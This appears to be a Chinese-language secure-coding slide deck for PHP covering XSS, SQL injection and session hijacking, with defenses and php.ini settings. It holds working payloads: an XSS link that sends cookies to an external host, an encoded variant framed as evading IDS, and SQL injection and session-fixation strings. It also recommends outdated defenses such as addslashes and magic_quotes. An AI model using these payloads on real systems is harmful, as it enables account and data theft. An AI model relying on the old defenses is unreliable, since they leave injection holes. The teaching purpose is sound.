Secure Coding PHP

yungshin@NSC

Outline

- 前言
- PHP常見攻擊手法
  - XSS
  - SQL Injection
  - Session Hijacking
- 安全的程式碼撰寫技巧
- 增進安全的PHP相關設定
- 結論

前言

- 「是人寫的程式就會有Bugs」
- 「安全的程式絕對不是一行的程式」
- PHP安全性問題
  - 少部份來自於PHP本身(Ex: Buffer Overflow…)
  - 大部分來自第三方的應用軟體
- PHP的方便，讓你完全沒發覺，自己已經寫出有漏洞的程式了!
- Web 2.0的盛行，使得Web-based的攻擊手法日新月異

OWASP 2007 Top 10

- A1. 跨網站的入侵字串(Cross Site Scripting，簡稱XSS，亦稱為跨站腳本攻擊)
- A2. 注入缺失(Injection Flaw)
- A3. 惡意檔案執行(Malicious File Execution)
- A4. 不安全的物件參考(Insecure Direct Object Reference)
- A5. 跨網站的偽造要求 (Cross-Site Request Forgery，簡稱CSRF)
- A6. 資訊揭露與不適當錯誤處置 (Information Leakage and Improper Error Handling)

OWASP 2007 Top 10

- A7. 遭破壞的鑑別與連線管理(Broken Authentication and Session Management)
- A8. 不安全的密碼儲存器 (Insecure Cryptographic Storage)
- A9. 不安全的通訊(Insecure Communication)
- A10. 疏於限制URL存取(Failure to Restrict URL Access)

PHP常見攻擊手法

- 你是否寫出過這種程式呢?

一行的程式

```
<?php
  echo $_GET[‘user’];
?>
```

XSS(Cross Site Scripting)

- Attacker
  - 直接塞tag
  - http://victim_host/index.php? ?user=<script>alert(document.cookie);</script>
  - http://victim_host/index.php? ?user=<script>document.location='http://140.123.214.10/~yungshin/nsc/demo1/get.php?cookie='%2Bdocument.cookie;</script>“
- Q:沒關係，我們家有買資安設備，IPS或IDS設一下黑名單就好啦!

XSS(Cross Site Scripting)

- URL_Encode!
- http://victim_host/index.php?user=%3C%73%63%72%69%70%74%3E%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3D%27%68%74%74%70%3A%2F%2F%31%34%30%2e%31%32%33%2e%32%31%34%2e%31%30%2F%7E%79%75%6e%67%73%68%69%6e%2F%6e%73%63%2F%64%65%6d%6f%31%2F%67%65%74%2e%70%68%70%3F%63%6f%6f%6b%69%65%3D%27%2B%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3B%3C%2F%73%63%72%69%70%74%3E

你的SQL語法安全嗎?

```
<?php
  $query = "select * from member where
  username='" . $_POST['username'] . "'
  and password='" . $_POST['password'] .
  "'";
?>
```

SQL Injection

- Ex1:
  - $_POST[‘username’] = ‘ or ‘’=‘
  - $_POST[‘password’] = ‘ or ‘’=‘
- select * from member where username=‘’ or ‘’=‘’ and password=‘’ or ‘’=‘’
  - 恆真!

SQL Injection

- Ex2:
  - $_POST[‘username’] = ‘ or 1 /*
  - $_POST[‘password’] = 隨便你填
- select * from member where username=‘’ or 1 /*’ and password=‘XXXXX’
- /*對SQL來說是”註解”

你的SQL語法安全嗎?

```
$query = "select username from member where
  id=" . $_GET['id'];
```

SQL Injection

- $_GET['id'] = ''union select password from member where username='aaa' /*
- select username where id=“ union select password from member where username=‘aaa’ /*
- 你能保證輸入的id真的是個”整數”嗎?

Session

- 如果我們會在多個頁面跳轉，又需要儲存目前的狀態，我們會用到session跟cookie
- session就像通行證一樣，每個人都是唯一的
- 如果通行證被搶走的話?

- Session與cookie的關係。
  - 預設由browser的cookie讀取
  - 若cookie為空則透過GET讀取

一行的程式

```
<?php
  session_start();
?>
```

Session Hijacking

- 如果我們能夠知道苦主的session id…
- http://victim_host/index.php?PHPSESSID=XXXXXXX
- 苦主的session就玩弄於hacker的股掌之上了

- 但是…session id哪有這們容易知道…

- 如果hacker設下圈套…

Session Hijacking

- 寄給苦主一個link:
  - http://victim_host/index.php?PHPSESSID=11223344
- 苦主就會用hacker的session id登入
- hacker可以隨意操縱session了

安全的PHP Coding

- 越麻煩，越安全

XSS

- 問題出在網頁顯示的時候，會把特殊意義的字元給印出來

- htmlspecialchars($str, ENT_QUOTES)
  - 特殊字元(<, >...)
  - 單引號
  - 雙引號

SQL Injection

- Hacker的填空遊戲
- 特殊字元(‘, “, / …)

- addslashes() 配合 get_magic_quotes_gpc()

Session Hijacking

- 更換session id, 讓hacker猜不到, 也無法固定

```
<?php
  session_start();
  session_regenerate_id(true);
?>
```

增進安全性的PHP設定

- 防衛攻擊的第一道高牆

php.ini

- register_globals
  - 可以從網址列直接指定變數值
  - PHP 4.2之後預設為off
- magic_quotes_gpc
  - 自動處理GET, POST, COOKIES的跳脫
  - 預設為on
- Session
  - session.use_trans_sid = 0
  - session.use_only_cookies = 1

結論

- echo $_GET, $_POST的時候請多想幾秒鐘
  - 是不是有忘記處理的部份...
- 多多關注php.ini的設定值
- 安全的程式碼才是治本之道